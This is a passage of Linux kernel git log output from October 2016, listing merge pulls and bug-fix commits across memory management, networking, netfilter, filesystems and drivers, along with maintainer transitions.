I removed all the magic hotplug memory initialization of said waitqueues too. But when I actually _tested_ the resulting build, I stupidly assumed that "allmodconfig" would enable memory hotplug. And it doesn't, because it enables KASAN instead, which then disables hotplug memory support. As a result, my build test of the per-zone waitqueues was totally broken, and I didn't notice that the compiler warns about the now unused iterator variable 'i'. I guess I should be happy that that seems to be the worst breakage from my clearly horribly failed test coverage. Reported-by: Stephen Rothwell Signed-off-by: Linus Torvalds mm/memory_hotplug.c | 1 - 1 file changed, 1 deletion(-) commit 4e68af0b0694ac5f16d0c61a7682aa2d46348454 Merge: 7f2145b 533169d Author: Linus Torvalds Date: Thu Oct 27 15:06:29 2016 -0700 Merge branch 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux Pull i2c fixes from Wolfram Sang: "I2C has some driver bugfixes, module autoload fixes, and driver enablement on some architectures" * 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux: i2c: imx: defer probe if bus recovery GPIOs are not ready i2c: designware: Avoid aborted transfers with fast reacting I2C slaves i2c: i801: Fix I2C Block Read on 8-Series/C220 and later i2c: xgene: Avoid dma_buffer overrun i2c: digicolor: Fix module autoload i2c: xlr: Fix module autoload for OF registration i2c: xlp9xx: Fix module autoload i2c: jz4780: Fix module autoload i2c: allow configuration of imx driver for ColdFire architecture i2c: mark device nodes only in case of successful instantiation i2c: rk3x: Give the tuning value 0 during rk3x_i2c_v0_calc_timings i2c: hix5hd2: allow build with ARCH_HISI commit 7f2145b0d0e838f800f2b37761bd2e625014e09e Merge: 55bea71 3105f234 Author: Linus Torvalds Date: Thu Oct 27 14:33:08 2016 -0700 Merge branch 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/rzhang/linux Pull thermal updates from Zhang Rui: "The latest Thermal Management updates for v4.9-rc3: - Fix a regression introduced by commit b721ca0d19(thermal/powerclamp: remove cpu whitelist), that powerclamp driver checks cpu support in a wrong way. From: Eric Ernst. - Fix a problem that intel_pch_thermal driver misses passive trip point when the PCH thermal device has an ACPI companion device associated. From: Srinivas Pandruvada. - Add missing support for Haswell PCH thermal sensor. From: Srinivas Pandruvada" * 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/rzhang/linux: thermal/powerclamp: correct cpu support check thermal: intel_pch_thermal: Enable Haswell PCH thermal: intel_pch_thermal: Add an ACPI passive trip commit 55bea71ed549398133732425a631b2268446526c Merge: 7618c6a 4a65429 Author: Linus Torvalds Date: Thu Oct 27 14:16:30 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/s390/linux Pull s390 fixes from Martin Schwidefsky: "A few more s390 patches for 4.9: - a fix for an overflow in the dasd driver reported by UBSAN - fix a regression and add hotplug memory to the zone movable again - add ignore defines for the pkey system calls - fix the ouput of the merged stack tracer - replace printk with pr_cont in arch/s390 where appropriate - remove the arch specific return_address function again - ignore reserved channel paths at boot time - add a missing hugetlb_bad_size call to the arch backend" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/s390/linux: s390/mm: fix zone calculation in arch_add_memory() s390/dumpstack: use pr_cont within show_stack and die s390/dumpstack: get rid of return_address again s390/disassambler: use pr_cont where appropriate s390/dumpstack: use pr_cont where appropriate s390/dumpstack: restore reliable indicator for call traces s390/mm: use hugetlb_bad_size() s390/cio: don't register chpids in reserved state s390: ignore pkey system calls s390/dasd: avoid undefined behaviour commit 599b076d15ee3ead7af20fc907079df00b2d59a0 Author: Huaibin Wang Date: Mon Sep 26 09:51:18 2016 +0200 i40e: fix call of ndo_dflt_bridge_getlink() Order of arguments is wrong. The wrong code has been introduced by commit 7d4f8d871ab1, but is compiled only since commit 9df70b66418e. Note that this may break netlink dumps. Fixes: 9df70b66418e ("i40e: Remove incorrect #ifdef's") Fixes: 7d4f8d871ab1 ("switchdev; add VLAN support for port's bridge_getlink") CC: Carolyn Wyborny Signed-off-by: Huaibin Wang Signed-off-by: Nicolas Dichtel Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9ee7837449b3d6f0fcf9132c6b5e5aaa58cc67d4 Author: Jamal Hadi Salim Date: Mon Oct 24 20:18:27 2016 -0400 net sched filters: fix notification of filter delete with proper handle Daniel says: While trying out [1][2], I noticed that tc monitor doesn't show the correct handle on delete: $ tc monitor qdisc clsact ffff: dev eno1 parent ffff:fff1 filter dev eno1 ingress protocol all pref 49152 bpf handle 0x2a [...] deleted filter dev eno1 ingress protocol all pref 49152 bpf handle 0xf3be0c80 some context to explain the above: The user identity of any tc filter is represented by a 32-bit identifier encoded in tcm->tcm_handle. Example 0x2a in the bpf filter above. A user wishing to delete, get or even modify a specific filter uses this handle to reference it. Every classifier is free to provide its own semantics for the 32 bit handle. Example: classifiers like u32 use schemes like 800:1:801 to describe the semantics of their filters represented as hash table, bucket and node ids etc. Classifiers also have internal per-filter representation which is different from this externally visible identity. Most classifiers set this internal representation to be a pointer address (which allows fast retrieval of said filters in their implementations). This internal representation is referenced with the "fh" variable in the kernel control code. When a user successfuly deletes a specific filter, by specifying the correct tcm->tcm_handle, an event is generated to user space which indicates which specific filter was deleted. Before this patch, the "fh" value was sent to user space as the identity. As an example what is shown in the sample bpf filter delete event above is 0xf3be0c80. This is infact a 32-bit truncation of 0xffff8807f3be0c80 which happens to be a 64-bit memory address of the internal filter representation (address of the corresponding filter's struct cls_bpf_prog); After this patch the appropriate user identifiable handle as encoded in the originating request tcm->tcm_handle is generated in the event. One of the cardinal rules of netlink rules is to be able to take an event (such as a delete in this case) and reflect it back to the kernel and successfully delete the filter. This patch achieves that. Note, this issue has existed since the original TC action infrastructure code patch back in 2004 as found in: https://git.kernel.org/cgit/linux/kernel/git/history/history.git/commit/ [1] http://patchwork.ozlabs.org/patch/682828/ [2] http://patchwork.ozlabs.org/patch/682829/ Fixes: 4e54c4816bfe ("[NET]: Add tc extensions infrastructure.") Reported-by: Daniel Borkmann Acked-by: Cong Wang Signed-off-by: Jamal Hadi Salim Signed-off-by: David S. Miller net/sched/cls_api.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7618c6a17f6afae973e5c7b73e1ca80d0c8b8c2a Merge: e3300ff a467a67 Author: Linus Torvalds Date: Thu Oct 27 14:12:04 2016 -0700 Merge tag 'modules-next-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux Pull module maintainership updates from Rusty Russell: "(Quoting from the MAINTAINERS commit:) Being a Linux kernel maintainer has been my proudest professional accomplishment, spanning the last 19 years. But now we have a surfeit of excellent hackers, and I can hand this over without regret. I'll still be around as co-maintainer for another cycle, but Jessica is now the one to convince if you want your patches applied. She rocks, and is far more timely than me too!" * tag 'modules-next-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux: MAINTAINERS: Begin module maintainer transition commit 4c95aa5d8fc34be18fcab01b1c6251c8c2b61520 Author: Guilherme G Piccoli Date: Thu Sep 22 10:03:58 2016 -0300 i40e: disable MSI-X interrupts if we cannot reserve enough vectors If we fail on allocating enough MSI-X interrupts, we should disable them since they were previously enabled in this point of code. Not disabling them can lead to WARN_ON() being triggered and subsequent failure in enabling MSI as a fallback; the below message was shown without this patch while we played with interrupt allocation in i40e driver: [ 21.461346] sysfs: cannot create duplicate filename '/devices/pci0007:00/0007:00:00.0/0007:01:00.3/msi_irqs' [ 21.461459] ------------[ cut here ]------------ [ 21.461514] WARNING: CPU: 64 PID: 1155 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x88/0xc0 Also, we noticed that without this patch, if we modprobe the module without enough MSI-X interrupts (triggering the above warning), unload the module and re-load it again, we got a crash on the system. Signed-off-by: Guilherme G Piccoli Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e_main.c | 1 + 1 file changed, 1 insertion(+) commit ea6acb7ef78960e4b6f1cd8c4162a5e490e83dcd Author: David Ertman Date: Tue Sep 20 07:10:50 2016 -0700 i40e: Fix configure TCs after initial DCB disable in commit a036244c068612a43fa8c0f33a0eb4daa4d8dba0 a fix was put into place to avoid a kernel panic when a non- supported traffic class configuration was put into place and then lldp was enabled/disabled on the link partner switch. This fix caused it to be necessary to unload/reload the driver to reenable DCB once a supported TC config was in place. The root cause of the original panic was that the function i40e_pf_get_default_tc was allowing for a default TC other than TC 0, and only TC 0 is supported as a default. This patch removes the get_default_tc function and replaces it with a #define since there is only one TC supported as a default. Change-Id: I448371974e946386d0a7718d73668b450b7c72ef Signed-off-by: Dave Ertman Tested-by: Ronald Bynoe Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/i40e/i40e.h | 1 + drivers/net/ethernet/intel/i40e/i40e_main.c | 31 ++++------------------------- 2 files changed, 5 insertions(+), 27 deletions(-) commit a3b8cb1f84a0de95323902c76bab245675d6d218 Author: Emil Tantilov Date: Thu Sep 22 15:06:52 2016 -0700 ixgbe: fix panic when using macvlan with l2-fwd-offload enabled Fix NULL pointer dereference in the case where a macvlan interface is brought up while the PF is still down: BUG: unable to handle kernel NULL pointer dereference at 0000000000000010 IP: [] ixgbe_alloc_rx_buffers+0x42/0x1a0 [ixgbe] Call Trace: [] ixgbe_configure_rx_ring+0x2eb/0x3d0 [ixgbe] [] ixgbe_fwd_ring_up+0xd1/0x380 [ixgbe] [] ixgbe_fwd_add+0x149/0x230 [ixgbe] [] macvlan_open+0x260/0x2b0 [macvlan] Reported-by: Matthew Garrett Signed-off-by: Emil Tantilov Tested-by: Andrew Bowers Signed-off-by: Jeff Kirsher drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit c121f72a66c5f92fbe2fc53baa274eef39875cec Author: Colin Ian King Date: Mon Oct 24 23:46:18 2016 +0100 net: bgmac: fix spelling mistake: "connecton" -> "connection" trivial fix to spelling mistake in dev_err message Signed-off-by: Colin Ian King Acked-by: Jon Mason Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bgmac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc72f3dd89e087e33afe8c490fbe132e3dcd9afe Author: Arnd Bergmann Date: Mon Oct 24 23:40:30 2016 +0200 flow_dissector: fix vlan tag handling gcc warns about an uninitialized pointer dereference in the vlan priority handling: net/core/flow_dissector.c: In function '__skb_flow_dissect': net/core/flow_dissector.c:281:61: error: 'vlan' may be used uninitialized in this function [-Werror=maybe-uninitialized] As pointed out by Jiri Pirko, the variable is never actually used without being initialized first as the only way it end up uninitialized is with skb_vlan_tag_present(skb)==true, and that means it does not get accessed. However, the warning hints at some related issues that I'm addressing here: - the second check for the vlan tag is different from the first one that tests the skb for being NULL first, causing both the warning and a possible NULL pointer dereference that was not entirely fixed. - The same patch that introduced the NULL pointer check dropped an earlier optimization that skipped the repeated check of the protocol type - The local '_vlan' variable is referenced through the 'vlan' pointer but the variable has gone out of scope by the time that it is accessed, causing undefined behavior Caching the result of the 'skb && skb_vlan_tag_present(skb)' check in a local variable allows the compiler to further optimize the later check. With those changes, the warning also disappears. Fixes: 3805a938a6c2 ("flow_dissector: Check skb for VLAN only if skb specified.") Fixes: d5709f7ab776 ("flow_dissector: For stripped vlan, get vlan info from skb->vlan_tci") Signed-off-by: Arnd Bergmann Acked-by: Jiri Pirko Acked-by: Eric Garver Signed-off-by: David S. Miller net/core/flow_dissector.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit d5d32e4b76687f4df9ad3ba8d3702b7347f51fa6 Author: David Ahern Date: Mon Oct 24 12:27:23 2016 -0700 net: ipv6: Do not consider link state for nexthop validation Similar to IPv4, do not consider link state when validating next hops. Currently, if the link is down default routes can fail to insert: $ ip -6 ro add vrf blue default via 2100:2::64 dev eth2 RTNETLINK answers: No route to host With this patch the command succeeds. Fixes: 8c14586fc320 ("net: ipv6: Use passed in table for nexthop lookups") Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/ip6_route.h | 1 + net/ipv6/route.c | 6 ++++-- 2 files changed, 5 insertions(+), 2 deletions(-) commit 830218c1add1da16519b71909e5cf21522b7d062 Author: David Ahern Date: Mon Oct 24 10:52:35 2016 -0700 net: ipv6: Fix processing of RAs in presence of VRF rt6_add_route_info and rt6_add_dflt_router were updated to pull the FIB table from the device index, but the corresponding rt6_get_route_info and rt6_get_dflt_router functions were not leading to the failure to process RA's: ICMPv6: RA: ndisc_router_discovery failed to add default route Fix the 'get' functions by using the table id associated with the device when applicable. Also, now that default routes can be added to tables other than the default table, rt6_purge_dflt_routers needs to be updated as well to look at all tables. To handle that efficiently, add a flag to the table denoting if it is has a default route via RA. Fixes: ca254490c8dfd ("net: Add VRF support to IPv6 stack") Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/ip6_fib.h | 2 ++ net/ipv6/route.c | 68 ++++++++++++++++++++++++++++++++++++--------------- 2 files changed, 50 insertions(+), 20 deletions(-) commit e30520c2b075fae3977d482a31b54b0256160a57 Author: Arnd Bergmann Date: Mon Oct 24 17:54:18 2016 +0200 kalmia: avoid potential uninitialized variable use The kalmia_send_init_packet() returns zero or a negative return code, but gcc has no way of knowing that there cannot be a positive return code, so it determines that copying the ethernet address at the end of kalmia_bind() will access uninitialized data: drivers/net/usb/kalmia.c: In function ‘kalmia_bind’: arch/x86/include/asm/string_32.h:78:22: error: ‘*((void *)ðernet_addr+4)’ may be used uninitialized in this function [-Werror=maybe-uninitialized] *((short *)to + 2) = *((short *)from + 2); ^ drivers/net/usb/kalmia.c:138:5: note: ‘*((void *)ðernet_addr+4)’ was declared here This warning is harmless, but for consistency, we should make the check for the return code match what the driver does everywhere else and just progate it, which then gets rid of the warning. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/usb/kalmia.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 30656167bd2347bf867a09cbae2705bd927d3983 Author: Boris Brezillon Date: Mon Oct 24 14:35:26 2016 +0200 MAINTAINERS: add more people to the MTD maintainer team Brian has been maintaining the MTD subsystem alone for several years now, and maintaining such a subsystem can really be time consuming. Create a maintainer team formed of the most active MTD contributors to help Brian with this task, which will hopefully improve the subsystem reactivity. Signed-off-by: Boris Brezillon Acked-by: Cyrille Pitchen Acked-by: Marek Vasut Acked-by: Richard Weinberger Signed-off-by: Brian Norris MAINTAINERS | 4 ++++ 1 file changed, 4 insertions(+) commit e0f841f5cbf2a195c63f3441f3d8ef1cd2bdeeed Author: Tobias Brunner Date: Mon Oct 24 15:44:26 2016 +0200 macsec: Fix header length if SCI is added if explicitly disabled Even if sending SCIs is explicitly disabled, the code that creates the Security Tag might still decide to add it (e.g. if multiple RX SCs are defined on the MACsec interface). But because the header length so far only depended on the configuration option the SCI overwrote the original frame's contents (EtherType and e.g. the beginning of the IP header) and if encrypted did not visibly end up in the packet, while the SC flag in the TCI field of the Security Tag was still set, resulting in invalid MACsec frames. Fixes: c09440f7dcb3 ("macsec: introduce IEEE 802.1AE driver") Signed-off-by: Tobias Brunner Acked-by: Sabrina Dubroca Signed-off-by: David S. Miller drivers/net/macsec.c | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) commit e2796541ef1d82c73334bfde89b97c9174c8d057 Author: Cyrille Pitchen Date: Wed Oct 19 17:34:49 2016 +0200 MAINTAINERS: add a maintainer for the SPI NOR subsystem I would like to volunteer as a maintainer for the SPI NOR part of the MTD subsystem. Over the last months, a significant number of SPI NOR related patches have been submitted, some of them have been reviewed, but very few have finally been merged. Hence, the number of pending SPI NOR related patches continues to increase over the time. Through my work on SPI NOR memories from many manufacturers over the last two years, I've gained a solid understanding of this technology. I've already helped by reviewing patches from other contributors on the mailing list, and would like to help getting those patches integrated by volunteering as a maintainer for this specific area. Boris Brezillon has already stepped up as a maintainer for the NAND sub-subsystem in MTD, and the SPI NOR sub-subsystem could be handled in the same way: I would be reviewing patches touching this area, collecting them and sending pull requests to Brian Norris. Also Marek Vasut has volunteered as well as maintainer for the SPI NOR subsystem. Signed-off-by: Cyrille Pitchen Acked-by: Boris Brezillon Acked-by: Marek Vasut Acked-by: Jagan Teki Signed-off-by: Brian Norris MAINTAINERS | 11 +++++++++++ 1 file changed, 11 insertions(+) commit f62265b53ef34a372b657c99e23d32e95b464316 Author: Zefir Kurtisi Date: Mon Oct 24 12:40:54 2016 +0200 at803x: double check SGMII side autoneg In SGMII mode, we observed an autonegotiation issue after power-down-up cycles where the copper side reports successful link establishment but the SGMII side's link is down. This happened in a setup where the at8031 is connected over SGMII to a eTSEC (fsl gianfar), but so far could not be reproduced with other Ethernet device / driver combinations. This commit adds a wrapper function for at8031 that in case of operating in SGMII mode double checks SGMII link state when generic aneg_done() succeeds. It prints a warning on failure but intentionally does not try to recover from this state. As a result, if you ever see a warning '803x_aneg_done: SGMII link is not ok' you will end up having an Ethernet link up but won't get any data through. This should not happen, if it does, please contact the module maintainer. Signed-off-by: Zefir Kurtisi Signed-off-by: David S. Miller drivers/net/phy/at803x.c | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit 4fc6d239ee5640909932c47f3c7b93dd8e415fea Author: Zefir Kurtisi Date: Mon Oct 24 12:40:53 2016 +0200 Revert "at803x: fix suspend/resume for SGMII link" This reverts commit 98267311fe3b334ae7c107fa0e2413adcf3ba735. Suspending the SGMII alongside the copper side made the at803x inaccessable while powered down, e.g. it can't be re-probed after suspend. Signed-off-by: Zefir Kurtisi Signed-off-by: David S. Miller drivers/net/phy/at803x.c | 26 -------------------------- 1 file changed, 26 deletions(-) commit e3300ffef0653774f1099cab153d25d24bd773ce Merge: e890038 804b173 Author: Linus Torvalds Date: Thu Oct 27 12:52:46 2016 -0700 Merge tag 'for-linus-4.9-rc2-ofs-1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux Pull oreangefs updates from Mike Marshall: "A couple of orangefs cleanups sent in by other developers: - use d_fsdata instead of d_time (Miklos Szeredi) - use file_inode(file) instead of file->f_path.dentry->d_inode (Amir Goldstein)" * tag 'for-linus-4.9-rc2-ofs-1' of git://git.kernel.org/pub/scm/linux/kernel/git/hubcap/linux: orangefs: don't use d_time orangefs: user file_inode() where it is due commit e890038e6a0b1f1c5a5a0037025499704353a3eb Merge: 18c2152 c17a8ef Author: Linus Torvalds Date: Thu Oct 27 12:34:50 2016 -0700 Merge tag 'xfs-fixes-for-linus-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs Pull xfs fixes from Dave Chinner: "This update contains fixes for most of the outstanding regressions introduced with the 4.9-rc1 XFS merge. There is also a fix for an iomap bug, too. This is a quite a bit larger than I'd prefer for a -rc3, but most of the change comes from cleaning up the new reflink copy on write code; it's much simpler and easier to understand now. These changes fixed several bugs in the new code, and it wasn't clear that there was an easier/simpler way to fix them. The rest of the fixes are the usual size you'd expect at this stage. I've left the commits to soak in linux-next for a some extra time because of the size before asking you to pull, no new problems with them have been reported so I think it's all OK. Summary: - iomap page offset masking fix for page faults - add IOMAP_REPORT to distinguish between read and fiemap map requests - cleanups to new shared data extent code - fix mount active status on failed log recovery - fix broken dquots in a buffer calculation - fix locking order issues and merge xfs_reflink_remap_range and xfs_file_share_range - rework unmapping of CoW extents and remove now unused functions - clean state when CoW is done" * tag 'xfs-fixes-for-linus-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs: (25 commits) xfs: clear cowblocks tag when cow fork is emptied xfs: fix up inode cowblocks tracking tracepoints fs: Do to trim high file position bits in iomap_page_mkwrite_actor xfs: remove xfs_bunmapi_cow xfs: optimize xfs_reflink_end_cow xfs: optimize xfs_reflink_cancel_cow_blocks xfs: refactor xfs_bunmapi_cow xfs: optimize writes to reflink files xfs: don't bother looking at the refcount tree for reads xfs: handle "raw" delayed extents xfs_reflink_trim_around_shared xfs: add xfs_trim_extent iomap: add IOMAP_REPORT xfs: merge xfs_reflink_remap_range and xfs_file_share_range xfs: remove xfs_file_wait_for_io xfs: move inode locking from xfs_reflink_remap_range to xfs_file_share_range xfs: fix the same_inode check in xfs_file_share_range xfs: remove the same fs check from xfs_file_share_range libxfs: v3 inodes are only valid on crc-enabled filesystems libxfs: clean up _calc_dquots_per_chunk xfs: unset MS_ACTIVE if mount fails ... commit 796f4687bd622b0f8076b6695001ab5cdc2b722a Author: Borislav Petkov Date: Thu Oct 27 20:14:45 2016 +0200 kvm/x86: Show WRMSR data is in hex Add the "0x" prefix to the error messages format to make it unambiguous about what kind of value we're talking about. Signed-off-by: Borislav Petkov Cc: Paolo Bonzini Cc: "Radim Krčmář" Message-Id: <20161027181445.25319-1-bp@alien8.de> Signed-off-by: Paolo Bonzini arch/x86/kvm/x86.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit a2941d01267437b6edcd3e769ae9a461fe36ae62 Author: Rex Zhu Date: Wed Oct 26 12:56:07 2016 +0800 drm/amd/powerplay: fix bug get wrong evv voltage of Polaris. Signed-off-by: Rex Zhu Acked-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 2 +- drivers/gpu/drm/amd/powerplay/hwmgr/ppatomctrl.c | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) commit 71451bdfc2f7bc67cf0b7a5d51bc1489aaa55701 Author: Alex Deucher Date: Wed Oct 26 15:27:45 2016 -0400 drm/amdgpu/si_dpm: workaround for SI kickers Consolidate existing quirks. Fixes stability issues on some kickers. Acked-by: Huang Rui Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 59 +++++++++++++++++++++++++++---------- 1 file changed, 43 insertions(+), 16 deletions(-) commit 570dd45042a7c8a7aba1ee029c5dd0f5ccf41b9b Author: Chris Mason Date: Thu Oct 27 10:42:20 2016 -0700 btrfs: fix races on root_log_ctx lists btrfs_remove_all_log_ctxs takes a shortcut where it avoids walking the list because it knows all of the waiters are patiently waiting for the commit to finish. But, there's a small race where btrfs_sync_log can remove itself from the list if it finds a log commit is already done. Also, it uses list_del_init() to remove itself from the list, but there's no way to know if btrfs_remove_all_log_ctxs has already run, so we don't know for sure if it is safe to call list_del_init(). This gets rid of all the shortcuts for btrfs_remove_all_log_ctxs(), and just calls it with the proper locking. This is part two of the corruption fixed by cbd60aa7cd1. I should have done this in the first place, but convinced myself the optimizations were safe. A 12 hour run of dbench 2048 will eventually trigger a list debug WARN_ON for the list_del_init() in btrfs_sync_log(). Fixes: d1433debe7f4346cf9fc0dafc71c3137d2a97bc4 Reported-by: Dave Jones cc: stable@vger.kernel.org # 3.15+ Signed-off-by: Chris Mason fs/btrfs/tree-log.c | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) commit 18c2152d526e7956457fcdcbdf6d77ae2c663a26 Merge: 4a3c390 602432c Author: Linus Torvalds Date: Thu Oct 27 10:08:58 2016 -0700 Merge tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI fixes from James Bottomley: "Two small fixes: one is a fatal section mismatch (reference to init after it's discarded) and the other two are iscsi locking fixes" * tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: NCR5380: no longer mark irq probing as __init scsi: be2iscsi: Replace _bh with _irqsave/irqrestore scsi: libiscsi: Fix locking in __iscsi_conn_send_pdu commit 4a3c390c384f31c60aaf0502dcd3d790a9ebebca Merge: 9c953d6 0ce57f8 Author: Linus Torvalds Date: Thu Oct 27 10:07:13 2016 -0700 Merge branch 'for-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata Pull libata fixes from Tejun Heo: "The AHCI MSI handling change in rc1 was a bit broken and caused disk probing failures on some machines. These three patches should fix the issues" David Howells comments: "My test machine fell foul of this using a PCIe M.2-attached SSD card. The patches fix it for me" * 'for-4.9-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/libata: ahci: fix the single MSI-X case in ahci_init_one ahci: fix nvec check ahci: only try to use multi-MSI mode if there is more than 1 port commit 9c953d639c2fb97e4e96f7398acbf4b675713b76 Merge: 9dcb8b6 7fe3113 Author: Linus Torvalds Date: Thu Oct 27 10:05:31 2016 -0700 Merge branch 'for-linus' of git://git.kernel.dk/linux-block Pull block fixes from Jens Axboe: "A set of fixes for this series, most notably the fix for the blk-mq software queue regression in from this merge window. Apart from that, a fix for an unlikely hang if a queue is flooded with FUA requests from Ming, and a few small fixes for nbd and badblocks. Lastly, a rename update for the proc softirq output, since the block polling code was made generic" * 'for-linus' of git://git.kernel.dk/linux-block: blk-mq: update hardware and software queues for sleeping alloc block: flush: fix IO hang in case of flood fua req nbd: fix incorrect unlock of nbd->sock_lock in sock_shutdown badblocks: badblocks_set/clear update unacked_exist softirq: Display IRQ_POLL for irq-poll statistics commit cdb436d181d21af4d273b49ec7734eecd6a37fe9 Author: Florian Westphal Date: Wed Oct 26 23:46:17 2016 +0200 netfilter: conntrack: avoid excess memory allocation This is now a fixed-size extension, so we don't need to pass a variable alloc size. This (harmless) error results in allocating 32 instead of the needed 16 bytes for this extension as the size gets passed twice. Fixes: 23014011ba420 ("netfilter: conntrack: support a fixed size of 128 distinct labels") Signed-off-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack_labels.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit f1d505bb762e30bf316ff5d3b604914649d6aed3 Author: John W. Linville Date: Tue Oct 25 15:56:39 2016 -0400 netfilter: nf_tables: fix type mismatch with error return from nft_parse_u32_check Commit 36b701fae12ac ("netfilter: nf_tables: validate maximum value of u32 netlink attributes") introduced nft_parse_u32_check with a return value of "unsigned int", yet on error it returns "-ERANGE". This patch corrects the mismatch by changing the return value to "int", which happens to match the actual users of nft_parse_u32_check already. Found by Coverity, CID 1373930. Note that commit 21a9e0f1568ea ("netfilter: nft_exthdr: fix error handling in nft_exthdr_init()) attempted to address the issue, but did not address the return type of nft_parse_u32_check. Signed-off-by: John W. Linville Cc: Laura Garcia Liebana Cc: Pablo Neira Ayuso Cc: Dan Carpenter Fixes: 36b701fae12ac ("netfilter: nf_tables: validate maximum value...") Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables.h | 2 +- net/netfilter/nf_tables_api.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 444f901742d054a4cd5ff045871eac5131646cfb Author: Ulrich Weber Date: Mon Oct 24 18:07:23 2016 +0200 netfilter: nf_conntrack_sip: extend request line validation on SIP requests, so a fragmented TCP SIP packet from an allow header starting with INVITE,NOTIFY,OPTIONS,REFER,REGISTER,UPDATE,SUBSCRIBE Content-Length: 0 will not bet interpreted as an INVITE request. Also Request-URI must start with an alphabetic character. Confirm with RFC 3261 Request-Line = Method SP Request-URI SP SIP-Version CRLF Fixes: 30f33e6dee80 ("[NETFILTER]: nf_conntrack_sip: support method specific request/response handling") Signed-off-by: Ulrich Weber Acked-by: Marco Angaroni Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_sip.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 9dcb8b685fc30813b35ab4b4bf39244430753190 Author: Linus Torvalds Date: Wed Oct 26 10:15:30 2016 -0700 mm: remove per-zone hashtable of bitlock waitqueues The per-zone waitqueues exist because of a scalability issue with the page waitqueues on some NUMA machines, but it turns out that they hurt normal loads, and now with the vmalloced stacks they also end up breaking gfs2 that uses a bit_wait on a stack object: wait_on_bit(&gh->gh_iflags, HIF_WAIT, TASK_UNINTERRUPTIBLE) where 'gh' can be a reference to the local variable 'mount_gh' on the stack of fill_super(). The reason the per-zone hash table breaks for this case is that there is no "zone" for virtual allocations, and trying to look up the physical page to get at it will fail (with a BUG_ON()). It turns out that I actually complained to the mm people about the per-zone hash table for another reason just a month ago: the zone lookup also hurts the regular use of "unlock_page()" a lot, because the zone lookup ends up forcing several unnecessary cache misses and generates horrible code. As part of that earlier discussion, we had a much better solution for the NUMA scalability issue - by just making the page lock have a separate contention bit, the waitqueue doesn't even have to be looked at for the normal case. Peter Zijlstra already has a patch for that, but let's see if anybody even notices. In the meantime, let's fix the actual gfs2 breakage by simplifying the bitlock waitqueues and removing the per-zone issue. Reported-by: Andreas Gruenbacher Tested-by: Bob Peterson Acked-by: Mel Gorman Cc: Peter Zijlstra Cc: Andy Lutomirski Cc: Steven Whitehouse Signed-off-by: Linus Torvalds include/linux/mmzone.h | 30 +------------ kernel/sched/core.c | 16 +++++++ kernel/sched/wait.c | 10 ----- mm/filemap.c | 4 +- mm/memory_hotplug.c | 28 ------------ mm/page_alloc.c | 115 +------------------------------------------------ 6 files changed, 21 insertions(+), 182 deletions(-) commit dab45060a56a9732b027d2031c1b6100bc75eea2 Author: Liping Zhang Date: Sat Oct 22 18:51:26 2016 +0800 netfilter: nf_tables: fix race when create new element in dynset Packets may race when create the new element in nft_hash_update: CPU0 CPU1 lookup_fast - fail lookup_fast - fail new - ok new - ok insert - ok insert - fail(EEXIST) So when race happened, we reuse the existing element. Otherwise, these *racing* packets will not be handled properly. Fixes: 22fe54d5fefc ("netfilter: nf_tables: add support for dynamic set updates") Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/netfilter/nft_set_hash.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 61f9e2924f4981d626b3a931fed935f2fa3cb4de Author: Liping Zhang Date: Sat Oct 22 18:51:25 2016 +0800 netfilter: nf_tables: fix *leak* when expr clone fail When nft_expr_clone failed, a series of problems will happen: 1. module refcnt will leak, we 